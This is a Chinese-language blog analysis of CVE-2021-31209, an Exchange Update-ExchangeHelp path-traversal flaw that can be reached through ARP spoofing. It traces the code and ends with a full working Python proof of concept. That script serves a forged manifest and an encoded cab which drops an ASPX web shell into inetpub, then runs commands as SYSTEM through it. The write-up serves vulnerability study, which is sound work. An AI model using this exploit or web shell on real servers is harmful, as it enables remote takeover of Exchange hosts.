CVE-2021-31209 分析學習
0x00 背景
這個漏洞是在2020年11月中旬釋出的漏洞,編號為CVE-2021-31209
,該漏洞需要藉助MITM
攻擊,也就是當管理員在Exchange Management Shell中執行Update-ExchangeHelp
or Update-ExchangeHelp -Force
命令時,在內網的攻擊者可以利用中間人攻擊劫持請求觸發遠端程式碼執行。
Update-ExchangeHelp
,這條管理命令僅在本地Exchange伺服器可用並且是Exchange2013以上。
使用此cmdlet可以在本地計算機上查詢、下載和安裝Exchange 命令列管理程式的最新可用幫助
;此cmdlet 會自動連線到預定義的網站,將本地 Exchange 伺服器的版本和安裝的語言與更新包中的可用內容進行比較,然後下載並安裝更新的 Exchange 命令列管理程式幫助。
具體正常情況下使用如圖:
0x01 更新流程
首先,現在已經瞭解這個命令是用來更新Exchange cmdlet的參考文章的,查閱文件發現此命令會連線預定義的網站,將本地的Exchange伺服器版本和安裝的語言包與更新包內容進行比較,然後下載並安裝更新的Exchange cmdlet幫助文件。其可以直接聯網更新,並且可以為其配置連線到內網的更新源 ,問題就出現在這裡。
我們不妨先看看配置內網更新源使Exchange這條命令Update-ExchangeHelp
從內部源更新的過程:
- 下載
ExchangeHelpInfo.xml
檔案 - 下載更新包,在內部 Web 伺服器上釋出更新包,並自定義
ExchangeHelpInfo.xml
檔案 - 在內部 Web 伺服器上釋出自定義的
ExchangeHelpInfo.xml
檔案。 - 修改 Exchange 伺服器的登錄檔以指向自定義的
ExchangeHelpInfo.xml
檔案。 - 使用命令更新
ExchangeHelpInfo.xml
檔案的結構如下
<?xml version="1.0" encoding="utf-8"?><ExchangeHelpInfo> <HelpVersion> <Version>15.01.0225.030-15.01.0225.050</Version> <Revision>001</Revision> <CulturesUpdated>en</CulturesUpdated> <CabinetUrl>https://download.microsoft.com/download/8/7/0/870FC9AB-6D22-4478-BFBF-66CE775BCD18/ExchangePS_Update_En.cab</CabinetUrl> </HelpVersion></ExchangeHelpInfo>
<Version>
:指的是更新包適用的版本範圍
<Revision>
:Exchange釋出更新包的順序
<CulturesUpdated>
:更新包適用的語言
<CabinetUrl>
:標示此更新包的位置
所以使用內網自己來更新Exchange cmdlet的幫助文件,只需下載好需要的.cab檔案,放到內網Web伺服器,然後更改對應的xml檔案,並把自定義的ExchangeHelpInfo.xml
檔案也放在Web伺服器
最後對應上述步驟第四步,修改登錄檔即可自動去定義的地址更新。
0x02 漏洞分析
在Microsoft.Exchange.Management.dll
中,定義了Microsoft.Exchange.Management.UpdatableHelp.UpdatableExchangeHelpCommand
類。
在函式UpdatableExchangeHelpCommand.InternalProcessRecord()
中呼叫了HelpUpdater.UpdateHelp()
方法
檢視HelpUpdater.UpdateHelp()
中會呼叫HelpDownloader.DownloadManifest()
,看名字可以猜測是下載ExchangeHelpInfo.xml
這個檔案的。
繼續進入HelpDownloader.DownloadManifest()
,發現其將HelpUpdater.ManifestUrl
這一值賦給downloadUrl並呼叫HelpDownloader.AsyncDownloadFile()
下載
繼續檢視HelpDownloader.AsyncDownloadFile()
內,發現就是呼叫webClient.DownloadFileAsync()
方法下載這個URL並存入localFilePath
。
而localFilePath
就是HelpUpdater.LocalManifestPath
,並不可控。
接著還需要看一下HelpUpdater.ManifestUrl
這一值從哪裡被設定的。
分析所使用的ManifestUrl
,發現其在Microsoft.Exchange.Management.UpdatableHelp.HelpUpdater.LoadConfiguration()
中被設定,並且LoadConfiguration()
由UpdatableExchangeHelpCommand.InternalValidate()
呼叫。
所以直接檢視LoadConfiguration()
是如何配置ManifestUrl
這個值的。
如果不存在登錄檔SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp
,則建立ManifestUrl
項並賦值為http://go.microsoft.com/fwlink/p/?LinkId=287244
。
接著分析完HelpUpdater.UpdateHelp()
方法中呼叫完helpDownloader.DownloadManifest()
大致發生的事情後,回到該方法繼續檢視後面做了什麼,畢竟目前來看還有一個.cab檔案沒有被請求。
首先會在下載完xml問候,呼叫helpDownloader.SearchManifestForApplicableUpdates()
,可以看到引數為CurrentHelpVersion
和CurrentHelpRevision
。
此函式會根據xml解析合適的更新包,會判斷xml檔案中的版本範圍,以及更新的補丁號也就是<Revision>
對應的值,以及提取<CabinetUrl>
中的值。
解析起始版本號、結束版本號、補丁號以及<CulturesUpdated>
對應的語言相關程式碼:
判斷版本號以及補丁號程式碼:
接著判斷更新包的語言是否匹配
string[] array = this.EnumerateAffectedCultures(updatableHelpVersionRange.CulturesAffected);
然後就會執行到
helpDownloader.DownloadPackage(updatableHelpVersionRange.CabinetUrl);
呼叫helpDownloader.DownloadPackage()
,其中又會呼叫HelpDownloader.AsyncDownloadFile()
下載cab檔案
然後路徑儲存為:
最後HelpInstaller.ExtractToTemp()
方法去提取cab檔案
在其中呼叫Microsoft.Exchange.CabUtility.EmbeddedCabWrapper.ExtractCabFiles()
將之前上傳到helpUpdater.LocalCabinetPath
的檔案提取到helpUpdater.LocalCabinetExtractionTargetPath
路徑
繼續跟進這個函式,發現其將cab檔案上傳的路徑、將要提取的目的路徑、還有filter變數放入非託管記憶體
最後呼叫
num = <Module>.Microsoft.Exchange.CabUtility.EmbeddedCAB.ExtractCab(ptr, ptr2, ptr3, false);
這是一個匯出函式,沒有檢查進入此函式的路徑,所以導致了可以將cab提取到任何路徑。
到這裡其實只是管理員自己可以將此檔案更新的時候寫入任何目錄,並沒有什麼影響,我們如果可以把登錄檔內的ManifestUrl
項修改為偽造的內網更新源,就可以劫持管理員去更新幫助手冊的行為從而達到無需任何身份任意寫入目錄的效果。
所以這也是一個比較有意思的地方,作者使用ARP去欺騙Exchange伺服器連線我們偽造的更新伺服器,因為上述提到的登錄檔的值預設情況下都是要連線http://go.microsoft.com/fwlink/p/?LinkId=287244
這個地址。作者使用bettercab去做arp劫持,等待管理員執行Update-ExchangeHelp
即可完成攻擊。
0x03 漏洞復現
我們這裡選擇直接更改登錄檔讓其連線我們的偽造伺服器來複現此漏洞
然後首先要調整xml檔案,使其幾個驗證的項透過驗證
查詢本地Exchange版本
修改xml,這類順帶需要修改語言包
然後使用makecab準備放到web上的cab檔案
接著使用稍作修改的原始POC,並在Exchange執行命令即可觸發RCE
指令碼如下:
import sysimport base64import urllib3import requestsfrom threading import Threadfrom http.server import HTTPServer, SimpleHTTPRequestHandler urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)class CabRequestHandler(SimpleHTTPRequestHandler): def log_message(self, format, *args): return def do_GET(self): if self.path.endswith("poc.xml"): print("(+) delivering xml file...") xml = """<ExchangeHelpInfo> <HelpVersions> <HelpVersion> <Version>15.01.0225.042-15.01.0999.999</Version> <Revision>%s</Revision> <CulturesUpdated>zh-HanS</CulturesUpdated> <CabinetUrl>http://%s:8000/poc.cab</CabinetUrl> </HelpVersion> </HelpVersions> </ExchangeHelpInfo>""" % (r, s) self.send_response(200) self.send_header('Content-Type', 'application/xml') self.send_header("Content-Length", len(xml)) self.end_headers() self.wfile.write(str.encode(xml)) elif self.path.endswith("poc.cab"): print("(+) delivering cab file...") # created like: makecab /d "CabinetName1=poc.cab" /f files.txt # files.txt contains: "poc.aspx" "../../../../../../../inetpub/wwwroot/aspnet_client/poc.aspx" # poc.aspx contains: <%=System.Diagnostics.Process.Start("cmd", Request["c"])%> # <script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["exec_code"],"unsafe");}</script> stage_2 = "TVNDRgAAAAC+AAAAAAAAACwAAAAAAAAAAwEBAAEAAAAPEwAAeAAAAAEAAQA6AAAA" stage_2 += "AAAAAAAAZFFsJyAALi4vLi4vLi4vLi4vLi4vLi4vLi4vaW5ldHB1Yi93d3dyb290" stage_2 += "L2FzcG5ldF9jbGllbnQvcG9jLmFzcHgARzNy0T4AOgBDS7NRtQ2uLC5JzdVzyUxM" stage_2 += "z8svLslMLtYLKMpPTi0u1gsuSSwq0VBKzk1R0lEISi0sTS0uiVZKVorVVLUDAA==" p = base64.b64decode(stage_2.encode('utf-8')) self.send_response(200) self.send_header('Content-Type', 'application/x-cab') self.send_header("Content-Length", len(p)) self.end_headers() self.wfile.write(p) returnif __name__ == '__main__': if len(sys.argv) != 5: print("(+) usage: %s <target> <connectback> <revision> <cmd>" % sys.argv[0]) print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 mspaint" % sys.argv[0]) print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 \"whoami > c:/poc.txt\"" % sys.argv[0]) sys.exit(-1) t = sys.argv[1] s = sys.argv[2] port = 8000 r = sys.argv[3] c = sys.argv[4] print("(+) server bound to port %d" % port) print("(+) targeting: %s using cmd: %s" % (t, c)) httpd = HTTPServer(('0.0.0.0', int(port)), CabRequestHandler) handlerthr = Thread(target=httpd.serve_forever, args=()) handlerthr.daemon = True handlerthr.start() p = { "c" : "/c %s" % c } try: while 1: req = requests.get("https://%s/aspnet_client/poc.aspx" % t, params=p, verify=False) if req.status_code == 200: break print("(+) executed %s as SYSTEM!" % c) except KeyboardInterrupt: pass
0x04 總結
這是一個非常簡單的漏洞,思路比較有趣,所以拿來了解學習一遍。上次聽說ARP攻擊還是一幾年左右大家都在搞C段用Cain去改別人主頁。整個的流程比較有趣,算是也給大家提供了一個新的挖掘思路。
參考
https://docs.microsoft.com/en-us/powershell/module/exchange/update-exchangehelp
最後,歡迎各位師傅關注微信公眾號 駭客在思考 ,一起學習
相關文章
- Spring Kafka深入學習分析2022-05-18SpringKafka
- 做資料分析需要學習機器學習嗎?2020-01-15機器學習
- Hadoop學習——Client原始碼分析2019-04-06Hadoopclient原始碼
- zabbix 新增元件 JS 分析學習2019-03-06元件JS
- 資料分析-學習篇-012020-08-19
- CORS漏洞的學習與分析2020-04-18CORS
- 資料分析學習方向(二)2018-12-27
- Python學習手冊(入門&爬蟲&資料分析&機器學習&深度學習)2021-12-20Python爬蟲機器學習深度學習
- ThreeJs學習筆記——渲染(render)分析2019-04-10JS筆記
- Riffa學習——Linux Driver原始碼分析2024-07-21Linux原始碼
- Java基礎類String學習分析2022-12-26Java
- Shiro學習-認證思路分析(七)2020-12-22
- 哪些人可以學習資料分析?為什麼學資料分析?2020-01-14
- 行業分析| 新的學習方式——線上自習室2023-04-21行業
- 機器學習框架ML.NET學習筆記【3】文字特徵分析2019-05-30機器學習框架筆記特徵
- 資料分析應學習邏輯思維和分析方法2022-07-25
- EventEmitter3原始碼分析與學習2019-03-01MIT原始碼
- 爬蟲學習日記(四)分析Freenium2018-12-12爬蟲
- 如何輕鬆學習Python資料分析?2019-03-11Python
- Python 機器學習及分析工具:Scipy2020-03-15Python機器學習
- 監督學習之高斯判別分析2020-02-14
- 機器學習-聚類分析之DBSCAN2020-11-22機器學習聚類
- 為什麼學習Python資料分析2021-07-29Python
- 用機器學習實現情感分析2021-09-09機器學習
- jackson學習+CVE-2019-12086漏洞分析2021-05-31
- (五)numpy知識學習2-python資料分析與機器學習實戰(學習筆記)2018-05-02Python機器學習筆記
- 【機器學習】數值分析01——緒論及誤差分析2022-02-07機器學習
- PHP-7.1 原始碼學習:詞法分析2019-02-16PHP原始碼詞法分析
- (大資料分析學習)14、廣義方差2018-09-07大資料
- 動手學習資料分析 Task032024-03-17
- 動手學習資料分析第1章2024-03-13
- 動手學習資料分析 第2章2024-03-15
- 機器學習降維之主成分分析2019-07-18機器學習
- 分析axios設計,學習前端請求庫2020-04-05iOS前端
- 深度學習 SSD的理解和細節分析2019-05-06深度學習
- SpringBoot 學習 | raibaby Halo v0.4.3 漏洞分析2019-04-30Spring BootAI
- C3P0 鏈子分析學習2024-10-18
- Java容器原始碼學習--ArrayList原始碼分析2021-12-26Java原始碼